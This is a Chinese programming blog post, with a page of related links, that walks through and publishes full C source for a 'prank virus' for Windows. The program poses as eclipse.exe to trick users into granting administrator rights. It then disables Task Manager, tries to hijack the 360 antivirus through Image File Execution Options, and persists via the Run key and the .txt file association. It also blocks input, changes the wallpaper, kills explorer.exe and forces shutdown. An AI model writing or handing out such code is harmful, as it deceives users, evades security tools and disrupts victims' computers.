简易的整人病毒(c语言实现)

傻瓜也能看懂的C语言病毒代码(无害) #include <stdio.h> #include <windows.h> #include <malloc.h> int main(void) { int c; int i; int j; nihao: printf("1:计算加法\n"); printf("2:打印乘法口决表\n");/*假的,1会关机,2会刷屏*/ printf("请选择:"); sc... 阅读详情

暑假了解过了windows编程的相关知识,也知道了注册表相关的操作。那时候就想自己写一个整人的程序。结果一直从暑假鸽到现在才写完。不知道大家小时候,有没有遇到过一个弹出”你是不是猪”窗口的整人程序,我的这个程序其实就是在那个程序基础上扩展了一些东西,一个升级版。程序伪装成java的编译器程序eclipse.exe来执行

首先,我们弹出的窗口不能被任务管理器关掉。我们在弹出窗口之前,应该先禁用任务管理器。

HKEY hkey;
DWORD dwDisable=1;
RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &hkey);
RegSetValueEx(hkey,"DisableTaskMgr",NULL,REG_DWORD,(LPBYTE)&dwDisable, sizeof(DWORD));
RegCloseKey(hkey);

通过在[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System]下新建一个键值名为DisableTaskMgr,键值为1的注册表键值,来实现禁用任务管理器。

接下来就是弹出”你是猪吗”对话框

int iRet_isPig,iRet_isCheat;
while (TRUE) {
	iRet_isPig=MessageBox(NULL, TEXT("你是猪吗"), TEXT("问题"), MB_ICONQUESTION | MB_YESNO);
	if (iRet_isPig == IDYES) {
		MessageBox(NULL, TEXT("知道就好"), TEXT("不错"), MB_ICONINFORMATION|MB_OK);
		break;
	}else if(iRet_isPig==IDNO){
		iRet_isCheat=MessageBox(NULL, TEXT("你在骗我吗"), TEXT("质问"), MB_ICONEXCLAMATION | MB_YESNO);
		if (iRet_isCheat == IDYES) {
			MessageBox(NULL, TEXT("好吧,再给你一次机会"), TEXT("提示"), MB_ICONINFORMATION |MB_OK);
			continue;
		}else if (iRet_isCheat == IDNO) {
			MessageBox(NULL, TEXT("不,你是在骗我\n哈皮"), TEXT("警告"), MB_ICONEXCLAMATION | MB_OK);
			virus();
			break;
		}
	}
}

简单的调用MessageBox。一些学过vb的初中生,高中生最喜欢拿这个函数整人了。在弹出”不,你是在骗我,哈皮”对话框后,开始执行恶意代码的主函数virus

virus函数主要实现了以下几个功能
1.获得当前文件所在的各种路径信息(执行文件所在路径,所在文件夹路径等等)
2.改变开机欢迎词
3.镜像劫持杀毒软件(现在的杀软太牛逼,这个功能其实一点屌用都没有)
4.黑屏
5.修改桌面背景
6.设置开机自启
7.设置txt文件自启

	//执行文件所在路径
    TCHAR szPath[MAX_PATH]={0};
	GetModuleFileName(NULL,szPath,MAX_PATH);
   		
   	//执行文件所在文件夹的路径 
   	TCHAR szFolderPath[MAX_PATH]={0};
   	strcpy(szFolderPath,szPath);
   	 (_tcsrchr(szFolderPath,TEXT('\\')))[1] = 0;
    	
   	//要更换壁纸的保存路径 
    TCHAR szChangeWallPaper[MAX_PATH]={0};
    TCHAR *szPictureName=TEXT("configuration\\org.eclipse.equinox.app\\.manager\\hack.jpg");
    strcpy(szChangeWallPaper,szFolderPath);
    strcat(szChangeWallPaper,szPictureName);

通过GetModuleFileName来获得当前所在路径,得到的路径信息存储在szPath中,szFolderPath为所在文件夹的路径,szChangeWallPaper为我们想要更换的壁纸的保存路径

//修改开机欢迎词
	TCHAR szCaptionText[50]=TEXT("你可能用了一个假的电脑");
	TCHAR szMainText[300]=TEXT("由于在开机过程中受到不明第三方势力威胁,您的电脑在运行过程中感到非常害怕,一些系统必须的应用程序已经躲起,导致系统无法启动。");
	RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon",&hkey);
	RegSetValueEx(hkey,"LegalNoticeCaption", NULL, REG_SZ, (LPBYTE)szCaptionText,sizeof(szCaptionText));
	RegSetValueEx(hkey,"LegalNoticeText", NULL, REG_SZ, (LPBYTE)szMainText,sizeof(szMainText));
	RegCloseKey(hkey);

//ImageHijack镜像劫持360
	TCHAR szHijk[300]={0};
	strcpy(szHijk,szPath);
	strcat(szHijk,TEXT(" 360Safe"));
	RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\360Safe.exe", &hkey);
	iRet=RegSetValueEx(hkey, "Debugger", NULL, REG_SZ, (LPBYTE)szHijk, sizeof(szHijk));
	RegCloseKey(hkey);
	if(iRet==0){
		MessageBox(NULL,TEXT("ImageHijacked successfully"),TEXT("Tips"),MB_OK);
	}else{
		MessageBox(NULL,TEXT("fail to ImageHijack"),TEXT("Tips"),MB_OK);
	}

修改开机欢迎词没什么好说的,这里主要讲讲镜像劫持。本来想绑一个360的,结果实战的时候发现完全没屌用。杀毒软件防的很好,以Administrator权限在Image File Execution Options下新建项都拒绝访问。后来又在网上搜了一下,好像只能以system超级管理员权限才能修改。
还有一种关闭360自我保护的方法,但是需要打开360界面调设置。不好实现。
所以镜像劫持的功能就只能看看了。

	//黑屏
	BlockInput(TRUE);
   	SendMessage(HWND_BROADCAST,WM_SYSCOMMAND,SC_MONITORPOWER,2);
    Sleep(2000);
    BlockInput(FALSE);
    	
    //修改桌面背景
    SystemParametersInfoA(SPI_SETDESKWALLPAPER, 0,(PVOID)szChangeWallPaper, SPIF_UPDATEINIFILE);
    
    RegCreateKey(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System",&hkey);
    RegSetValueEx(hkey,"Wallpaper",NULL,REG_SZ,(unsigned char*)szChangeWallPaper,sizeof(szChangeWallPaper));
    RegSetValueEx(hkey,"WallpaperStyle",NULL,REG_DWORD,(LPBYTE)&dwWallPaperStyle,sizeof(DWORD));
    RegCloseKey(hkey);

黑屏2秒,然后更换壁纸。

	//设置开机自启
    TCHAR szAutoRun[MAX_PATH]={0};
    strcpy(szAutoRun,szPath);
    strcat(szAutoRun,TEXT(" normal"));
	RegCreateKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&hkey);
	RegSetValueEx(hkey,"病毒自启",NULL,REG_SZ, (LPBYTE)szAutoRun,MAX_PATH);
    RegCloseKey(hkey);
        
    //设计txt文件自启
	RegCreateKey(HKEY_CLASSES_ROOT,"txtfile\\shell\\open\\command",&hkey);
	RegSetValueEx(hkey,NULL, NULL, REG_EXPAND_SZ, (unsigned char *)szAutoRun,MAX_PATH);
	RegCloseKey(hkey);

设置开机自启,txt文件自启。开机的时候,自动运行程序。双击打开txt文件的时候,也重定向到此程序。

Sleep(10000);
WinExec("taskkill /im explorer.exe /f",SW_HIDE);
Sleep(3000);
WinExec("shutdown -s -t 10 -c 哈皮",SW_HIDE);

基础的DOS命令,关闭某个程序和关机

获得管理员权限提权
修改注册表需要管理员权限,这里主要的原理是自己调用自己,通过SHELLEXECUTEINFO的lpVerb参数为runas来实现.

VOID ManagerRun(LPCSTR exe,LPCSTR param){
	SHELLEXECUTEINFO ShExecInfo; 
	ShExecInfo.cbSize = sizeof(SHELLEXECUTEINFO);  
	ShExecInfo.fMask = SEE_MASK_NOCLOSEPROCESS ;  
	ShExecInfo.hwnd = NULL;  
	ShExecInfo.lpVerb = "runas";  
	ShExecInfo.lpFile = exe; 
	ShExecInfo.lpParameters = param;   
	ShExecInfo.lpDirectory = NULL;  
	ShExecInfo.nShow = SW_SHOW;  
	ShExecInfo.hInstApp = NULL;   
	BOOL ret = ShellExecuteEx(&ShExecInfo);  
	CloseHandle(ShExecInfo.hProcess);
}
int main(int argc,char *argv[]){
	//隐藏控制台窗口
	HWND hwnd=FindWindow("ConsoleWindowClass",NULL);
	if(hwnd){
		ShowWindow(hwnd,SW_HIDE);
	}
	if(argc == 1){
   	//双击打开,只有一个参数
		ShowWindow(GetConsoleWindow(),SW_HIDE);
		ManagerRun(argv[0],"admin");
		return 0;
	}else if(strcmp(argv[1],"admin")==0){
    	//管理员打开

	//程序主代码

	}
}

用户不会将管理员权限给一个不明的程序,我们这里主要是把程序exe设置为跟eclipse一样的图标,把它放到eclipse主文件夹内,并替换原来的eclipse.exe,狸猫换太子。用户看到是eclipse获取管理员权限时,往往不会怀疑,从而达到骗取管理员权限的目的。

程序运行效果:
p1
p2
p3
p4

===============================================================================
程序源码:

#include <windows.h>
#include <winable.h>
#include <stdio.h>
#include <tchar.h>
void virus(){
    DWORD dwWallPaperStyle=2;
    int iRet;
    HKEY hkey;
    //执行文件所在路径
    TCHAR szPath[MAX_PATH]={0};
	GetModuleFileName(NULL,szPath,MAX_PATH);
   		
   	//执行文件所在文件夹的路径 
   	TCHAR szFolderPath[MAX_PATH]={0};
   	strcpy(szFolderPath,szPath);
    (_tcsrchr(szFolderPath,TEXT('\\')))[1] = 0;
    	
    //要更换壁纸的保存路径 
    TCHAR szChangeWallPaper[MAX_PATH]={0};
    TCHAR *szPictureName=TEXT("configuration\\org.eclipse.equinox.app\\.manager\\hack.jpg");
    strcpy(szChangeWallPaper,szFolderPath);
    strcat(szChangeWallPaper,szPictureName);
   	
   	//修改开机欢迎词
	TCHAR szCaptionText[50]=TEXT("你可能用了一个假的电脑");
	TCHAR szMainText[300]=TEXT("由于在开机过程中受到不明第三方势力威胁,您的电脑在运行过程中感到非常害怕,一些系统必须的应用程序已经躲起,导致系统无法启动。");
	RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon",&hkey);
	RegSetValueEx(hkey,"LegalNoticeCaption", NULL, REG_SZ, (LPBYTE)szCaptionText,sizeof(szCaptionText));
	RegSetValueEx(hkey,"LegalNoticeText", NULL, REG_SZ, (LPBYTE)szMainText,sizeof(szMainText));
	RegCloseKey(hkey);
	
	//ImageHijack镜像劫持360
	TCHAR szHijk[300]={0};
	strcpy(szHijk,szPath);
	strcat(szHijk,TEXT(" 360Safe"));
	RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\360Safe.exe", &hkey);
	iRet=RegSetValueEx(hkey, "Debugger", NULL, REG_SZ, (LPBYTE)szHijk, sizeof(szHijk));
	RegCloseKey(hkey);
	if(iRet==0){
		MessageBox(NULL,TEXT("ImageHijacked successfully"),TEXT("Tips"),MB_OK);
	}else{
		MessageBox(NULL,TEXT("fail to ImageHijack"),TEXT("Tips"),MB_OK);
	}
	
	//黑屏
	BlockInput(TRUE);
    SendMessage(HWND_BROADCAST,WM_SYSCOMMAND,SC_MONITORPOWER,2);
    Sleep(2000);
    BlockInput(FALSE);
    	
    //修改桌面背景
    SystemParametersInfoA(SPI_SETDESKWALLPAPER, 0,(PVOID)szChangeWallPaper, SPIF_UPDATEINIFILE);
    
    RegCreateKey(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System",&hkey);
    RegSetValueEx(hkey,"Wallpaper",NULL,REG_SZ,(unsigned char*)szChangeWallPaper,sizeof(szChangeWallPaper));
    RegSetValueEx(hkey,"WallpaperStyle",NULL,REG_DWORD,(LPBYTE)&dwWallPaperStyle,sizeof(DWORD));
    RegCloseKey(hkey);
    	
    //设置开机自启
    TCHAR szAutoRun[MAX_PATH]={0};
    strcpy(szAutoRun,szPath);
    strcat(szAutoRun,TEXT(" normal"));
	RegCreateKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&hkey);
	RegSetValueEx(hkey,"病毒自启",NULL,REG_SZ, (LPBYTE)szAutoRun,MAX_PATH);
    RegCloseKey(hkey);
        
    //设计txt文件自启
	RegCreateKey(HKEY_CLASSES_ROOT,"txtfile\\shell\\open\\command",&hkey);
	RegSetValueEx(hkey,NULL, NULL, REG_EXPAND_SZ, (unsigned char *)szAutoRun,MAX_PATH);
	RegCloseKey(hkey);
    
    Sleep(10000);
    WinExec("taskkill /im explorer.exe /f",SW_HIDE);
    Sleep(3000);
	WinExec("shutdown -s -t 10 -c 哈皮",SW_HIDE);
	
    //蓝屏 
//  WinExec("taskkill /im wininit.exe /f",SW_HIDE);
}
VOID ManagerRun(LPCSTR exe,LPCSTR param){
 SHELLEXECUTEINFO ShExecInfo; 
 ShExecInfo.cbSize = sizeof(SHELLEXECUTEINFO);  
 ShExecInfo.fMask = SEE_MASK_NOCLOSEPROCESS ;  
 ShExecInfo.hwnd = NULL;  
 ShExecInfo.lpVerb = "runas";  
 ShExecInfo.lpFile = exe; 
 ShExecInfo.lpParameters = param;   
 ShExecInfo.lpDirectory = NULL;  
 ShExecInfo.nShow = SW_SHOW;  
 ShExecInfo.hInstApp = NULL;   
 BOOL ret = ShellExecuteEx(&ShExecInfo);  
 CloseHandle(ShExecInfo.hProcess);
}
int main(int argc,char *argv[]){
	//隐藏控制台窗口 
    HWND hwnd=FindWindow("ConsoleWindowClass",NULL);
    if(hwnd){
    	ShowWindow(hwnd,SW_HIDE);
	}
	
	if(argc == 1){
		//双击打开,只有一个参数 
       ShowWindow(GetConsoleWindow(),SW_HIDE);
       ManagerRun(argv[0],"admin");
       return 0;
    }else if(strcmp(argv[1],"admin")==0){
    	//管理员打开
    
    	//首先,禁用任务管理器
    	DWORD dwDisable=1;
    	HKEY hkey;
    	int iRet;
    	TCHAR ValueInfo[5];
    	DWORD ValueSize=sizeof(ValueInfo);
		RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &hkey);
		RegQueryValueEx(hkey,"DisableTaskMgr",NULL,NULL,(LPBYTE)ValueInfo,&ValueSize);
		if(strcmp(ValueInfo,"\x01\x00\x00\x00")!=0){
			iRet=RegSetValueEx(hkey, "DisableTaskMgr", NULL, REG_DWORD, (LPBYTE)&dwDisable, sizeof(DWORD));
			RegCloseKey(hkey);
			if(iRet==0){
				MessageBox(NULL,TEXT("任务管理器已禁用"),TEXT("哈皮"),MB_OK);
			}else{
				MessageBox(NULL,TEXT("任务管理器禁用失败"),TEXT("Tips"),MB_OK);
			}
		}
		
    	int iRet_isPig,iRet_isCheat;
		while (TRUE) {
			iRet_isPig=MessageBox(NULL, TEXT("你是猪吗"), TEXT("问题"), MB_ICONQUESTION | MB_YESNO);
			if (iRet_isPig == IDYES) {
				MessageBox(NULL, TEXT("知道就好"), TEXT("不错"), MB_ICONINFORMATION|MB_OK);
				break;
			}else if(iRet_isPig==IDNO){
				iRet_isCheat=MessageBox(NULL, TEXT("你在骗我吗"), TEXT("质问"), MB_ICONEXCLAMATION | MB_YESNO);
				if (iRet_isCheat == IDYES) {
					MessageBox(NULL, TEXT("好吧,再给你一次机会"), TEXT("提示"), MB_ICONINFORMATION |MB_OK);
					continue;
				}else if (iRet_isCheat == IDNO) {
					MessageBox(NULL, TEXT("不,你是在骗我\n哈皮"), TEXT("警告"), MB_ICONEXCLAMATION | MB_OK);
					virus();
					break;
				}
			}
		}
    }else if(strcmp(argv[1],"360Safe")==0){
    	//360劫持嘲讽 
    	//当用户打开360时,程序重定向到病毒程序
    	
		TCHAR *str[]={"不会吧","不会吧","不会真有人以为使用360就可以解决问题了吧"};
		for(int i=0;i<sizeof(str)/sizeof(str[0]);i++){
    		MessageBox(NULL,str[i],TEXT("Tips"),MB_OK);
		}			 
	}else if(strcmp(argv[1],"normal")==0){
		//病毒自启重定向 
		MessageBox(NULL, TEXT("哈哈,电脑好像中毒了呢"), TEXT("提示"), MB_ICONINFORMATION |MB_OK);
	}
    return 0;
}



用C编的病毒程序举例-请不要乱传,乱用! 简单的病毒程序  首先声明:本程序是我举的一个例子为了叫大家理解就可以了如果大家拿去捉弄人,我不负任何责任!希望大家要以学习为重!对于病毒我们应该是深恶痛绝的,但是作为纯研究许多人还是很有兴趣的我曾经用汇编做过一些具有毁灭性的病毒,本想献出来与大家分享不过考虑到一些小人看了会做出来一些危害别人的行为,所以我决定用这个简单的并毫无伤害性的c语言伪病毒来说明一下问题,再次声明这 阅读详情

相关推荐

超级bat病毒 ///整人必备///

超级牛逼的bat病毒

bgyl1的博客 7574

5个拿来就能用的整人代码脚本

你的电脑正在被攻击!!!请立即重启电脑。

wangyuxiang946的博客 4万+

第五章、DOS基本命令与批处理(千峰网络安全300课时笔记)

第五章、DOS基本命令与批处理 引言:千峰网络安全300课时学习,视频学习过程中的学习笔记。笔记中借鉴了部分优快云博主「beglage」文章中的图片记录,感谢千峰网络的视频和beglage博主的博文笔记记录分享。 目录 IP详解 局域网 ip地址 子网掩码 IP地址详解 网关 DNS DOS命令 IP详解 局域网 局域网:一般称为内网 单局域网构成:交换机,网线,pc 交换机:用来组建内网的局域网的设备 ip地址 32位二进制 10进制: x.x.x.x .

weixin_56056641的博客 1706

简单整蛊室友,只需几行bat病毒代码

整蛊室友,马上搞定。

f32556b6edcdc80c的博客 4万+

趣味整人小软件开发实战项目

整人软件看似 trivial,实则是一个绝佳的编程练习场。它逼迫你思考:- 如何模仿系统行为?- 如何管理用户预期?- 如何在趣味与安全间找平衡?但请永远记住:技术的乐趣不应建立在他人的恐慌之上。发布前务必确认:- 对方是否能接受这类玩笑?- 是否有明确退出方式?- 是否会造成实际困扰?最好的整人程序,是让人吓一跳后笑着说“你赢了”的那种。而不是留下心理阴影,甚至上报IT部门把你封禁。毕竟,我们写代码是为了创造快乐,而不是制造麻烦,对吧?😉。

weixin_32869687的博客 1100

LMI线性矩阵不等式之非线性变量处理

​ 如果一个LMI线性矩阵不等式中的某项存在两个矩阵变量相乘,那么称该类情形为非线性矩阵不等式,而要直接求解时很困难的,而且LMI工具箱也无法求解非线性矩阵,所以需要通过变量替换法进行处理。 ​...

Mr.邹的博客 4549

[网络安全学习篇附]:批处理与简单的病毒

初识批处理 一个简单的批处理程序 1、引入 2、echo 输出 3、变量 4、if、goto 病毒 简单的批处理文件一 简单的批处理文件二 最简单的病毒 最简单的病毒解药 最简单的脚本 最简单的死循环脚本 整人网页

安全知识学习-该平台为唯一原作者平台,其他平台属冒名顶替,请勿相信上当受骗 6891

因时机器人-灵巧手配置方案(Ubuntu18.04)

因时机器人-灵巧手配置方案(Ubuntu18.04)

CH_monsy的博客 3848

c语言如何做简单整人病毒,来来来,教你一个用C语言写个小病毒

该楼层疑似违规已被系统折叠隐藏此楼查看此楼代码如下:#include #include void main(void){virus();}int virus(){struct ffblk ffblk;FILE *in,*out,*read;char *virus="virus.c";char buf[50][80];char *p;char *end="return";char *bracket...

weixin_30192375的博客 796

Harness设计——Anthropic实战:规划器、生成器、评估器三角色协作详解

本文探讨了如何通过多智能体架构突破AI编码的瓶颈问题。文章首先分析了当前AI编码面临的两大核心挑战:上下文窗口限制导致的连贯性丧失,以及自我评估机制缺失引发的质量判断偏差。针对这些问题,作者提出了基于生成对抗网络(GAN)灵感的解决方案,设计了三智能体系统:规划器负责需求分析,生成器执行编码任务,评估器进行质量审查。 实验表明,在前端设计任务中,通过制定可量化的评分标准(设计质量、原创性、工艺、功能性)并建立生成-评估反馈循环,能显著提升输出质量。这种架构随后被扩展到全栈开发领域,采用类似敏捷开发的&quo

oe1019的专栏 867

【YOLOv11】从零搭建基于YOLOv11深度学习算法的农作物虫害检测系统(附带环境搭建+完整代码+讲解)

《基于YOLOv11的农作物病虫害智能检测系统》项目摘要 本项目开发了一个基于YOLOv11深度学习算法的农作物病虫害检测系统,支持玉米、水稻、草莓和西红柿等四大类经济作物的30多种病虫害识别。系统采用多模态检测方式,支持图片、视频和实时摄像头输入,并集成了完整的Web应用框架。 技术架构上,系统以PyTorch实现YOLOv11算法为核心,结合Flask搭建深度学习服务,SpringBoot构建业务后端,Vue3+TypeScript开发前端界面,MySQL数据库存储检测数据。系统具备用户权限管理功能,支

AnChenliang_1002的博客 812

[c++整人代码]逼人承认“我是猪” 「v1.0」

话不多说,有图有真相 如果他乖乖听话,将会是这样的: 否则,就是这样了: 代码: #include <shudu> #define SC_MOVE 0xF010 /* This is where all the input to the window goes to */ int x; int y; HWND _hwnd; char *title = "哈哈哈!!!你被耍了"; int print( char words[] ) { HDC hdc ; PAINTSTR

蜀都客车的原创博客 7172

国产数据库全解析:openGauss、OceanBase、TiDB与KingbaseES的核心优势与应用场景指南

本文将深入剖析openGauss、OceanBase、TiDB和KingbaseES这四款主流国产数据库的核心内容,并针对国产化过程中给出使用建议,以帮助企业根据自身需求选择合适的数据库解决方案。国产数据库在性能、扩展性、兼容性、安全性等方面展现出强大实力,能够满足不同行业、不同场景的需求。企业在进行国产化过程中,应充分考虑业务特点、技术栈、团队能力等因素,结合上述分析,选择最适合自身的国产数据库产品。随着国产数据库技术的持续发展与生态完善,它们将成为推动企业数字化转型、保障数据安全的重要力量。

java专栏 8779

做个小病毒

预处理指令: #include:这是一个非标准的头文件,包含了所有标准库的声明,在某些编译器上(如GCC)可用。 #include:这是Windows API的头文件,提供了访问操作系统功能的接口。 #include:这是C++标准库中的一个头文件,用于提供输入输出流的支持。 命名空间: using namespace std;:这行代码导入了标准命名空间,使得可以不加前缀地使用标准库中的函数和对象。

weixin_39222696的博客 1339

低功耗设计:如何计算power switch的数量?

power switch加多了漏电高,加少了ir drop会有问题,具体加多少合适要如何计算呢?这里可以给一个参考方式。 第一步,先选switch cell的类型 通常选用HVT类型的switch cell,优点是漏电更低,缺点也很明显,电阻大,压降也大,switch cell的大小选择,可以选择(开启电阻x面积)最小的switch cell,即单位面积提供最小并联电阻的cell类型。 第二步,计算数量 选好类型,确定了开启电阻,可以按照如下公式计算数量: Ron/Xnum • W/V = V•P

m0_61544122的博客 3570

基于自抗扰控制的虚拟同步发电机二次调频控制研究

摘要:本文针对高比例可再生能源并网导致的电力系统频率稳定性问题,提出基于自抗扰控制(ADRC)的虚拟同步发电机(VSG)二次调频控制策略。通过分析VSG工作原理和传统调频方法的不足,设计了非线性ADRC和线性ADRC两种控制器,详细阐述了参数整定方法。仿真结果表明,该策略能有效消除频率稳态偏差,提升系统抗扰能力,为分布式电源参与电网调频提供了新思路。 关键词:虚拟同步发电机;自抗扰控制;二次调频;频率调节;抗扰能力

huanghm88的专栏 243

猜字母c语言蓝桥杯,第十届蓝桥杯C语言大学B组C/C++ 试题B年号字串

简易的整人病毒(c语言实现)简易的整人病毒(c语言实现) 暑假了解过了windows编程的相关知识,也知道了注册表相关的操作。那时候就想自己写一个整人的程序。结果一直从暑假鸽到现在才写完。不知道大家小时候,有没有遇到过一个弹出”你是不是猪”窗口的整人程序,我的这个程序其实就是在C语言任务(一) 2020-10-06C语言任务(一) 2020-10-06 简单介绍printf的作用及简单应用 首先介...

weixin_30789475的博客 272

某易将军令口令纯算法还原py篇

算法开源,将军令口令算法。希望官方多多更新吧

任雪飘的博客 3909

做个小病毒2

DOWN(intvk)和UP(intvk):这两个函数模拟按下和释放键盘按键的行为。组合了DOWN和UP,模拟按下并立即释放某个键。模拟按下Win+D快捷键,用于显示桌面。模拟Ctrl+A组合键,用于全选文本或对象。COVER():根据条件打开命令提示符或画图板。KILL():选择所有内容然后删除(模拟Ctrl+A后按Delete键)。遍历从A到Z的所有磁盘分区,并尝试在每个分区中执行KILL()。调用WINDOWS_AND_D()和_KILL_()。

weixin_39222696的博客 1263

廖雪峰Python教程[完整版]

廖雪峰的python教程整理的,已经排好版了,而且还是完整的,适合小白

华为的C语言编程规范.pdf

华为技术有限公司内部技术规范。本规范制定了编写C语言程序的基本原则、规则和建议。从代码的清晰、简洁、可测试、安全、程序效率、可移植各个方面对C语言编程作出了具体指导。

宣一个病毒,可以拿去整人

这个

Anyan2912的博客 417

c语言病毒恶搞代码大全,恶搞病毒代码案例分析

CreateObject("SAPI.SpVoice").Speak"i love you"送给你女朋友她会高兴地,保存为.vbs格式五、打开无数个计算器set wsh=createobject("wscript.shell")dowsh.run "calc"loop这段代码是打开无数个计算器,直到死机 ,也是保存为.vbs格式六、你被耍了while(1)msgbox "哈哈 你被耍了!"loop...

weixin_29359515的博客 1万+

教你们如何整人,让他关机

printf("(◣ω◢)\n你的电脑被\n强大的\n恐怖的\n神秘的\n厉害的\n牛逼的\n伟岸的\n黑客\n李梓萱\n{{|└(>o< )┘|}}\n植入了病毒!printf("这些都没有用的\n但是仁慈的\n光辉的\n做人留一线的\n掌握命运的\n强大的\n恐怖的\n神秘的\n厉害的\n牛逼的\n伟岸的\n黑客\n李梓萱\n");printf("恐惧吧\n感慨吧\n臣服吧\n吓得屁滚尿流吧\n面对如此牛逼的存在你唯一需要做的就是按他说的去做(*Δ*)!printf("重要的事情我说了5遍!

qq214936qq的博客 984

自动朗读程序,表白神器 用C语言文件操作实现

保证对方扬声器驱动完整能够正常发生,且默认打开vbs文件方式是播放,不是用记事本打开 /* VBS是基于Visual Basic的脚本语言。VBS的全称是:Microsoft Visual Basic Script Edition。 用记事本就可以看到源代码。在没有语法错误的前提下,直接双击左键就可以运行。 但是要注意,因为VBS较为简单可行性强,所以很多人都喜欢利用VBS去写病毒或者整人的代码,...

偶尔想看云飞的博客 697

无限重启病毒

无限重启病毒在鱼C论坛上看到的,觉得挺有趣的,就copy过来了。实际上就7行代码,废话不多说,直接上代码。#include<stdlib.h> int main() { system("reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v restart /t REG_SZ /d \"C:\\

(ÒωÓױ) 2722

让人绝望的C语言恶搞小程序,网友:生无可恋!

今天给大家介绍两个好东西,就是利用C语言编写的两个恶搞小程序,有多厉害,只有你自己去试试了, 下面是小编整理好的一套C/C++资料,加小编C/C++编程学习群:825414254,获取系统性学习C/C++的学习资料 反正我是害怕,惹不起。 利用C语言+API写的两个恶作剧程序,我在这里说,你没感觉,你的朋友同学试过之后可能就会有某些冲动了。 NO.1恶作剧一:鼠标乱抖: 源码:请注意合理使用!...

4288

[网络安全学习篇3]:批处理、病毒、用户与组管理、破解系统密码(千峰网络安全视频笔记 3 day)

@Beglage本博客纯搬运,留下学习印象。后续会有原创 引言:我的系列博客[网络安全学习篇]上线了,小编也是初次创作博客,经验不足;对千峰网络信息安全开源的视频公开课程的学习整理的笔记整理的也比较粗糙,其实看到目录有300多集的时候,讲道理,有点怂了,所以我就想到了通过写博客(课程笔记)的形式去学习它,虽然写博客会让我多花几倍的时间去学习它,但是当我完成一篇博客所获得的成就感和你们对于我的认同感...

weixin_45449154的博客 458
上一篇: window程序设计源码编译错误解决方法
下一篇: 手机芯片命名规则详解
cookie_plus
博客等级 码龄7年 52粉丝 13原创
评论 10
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值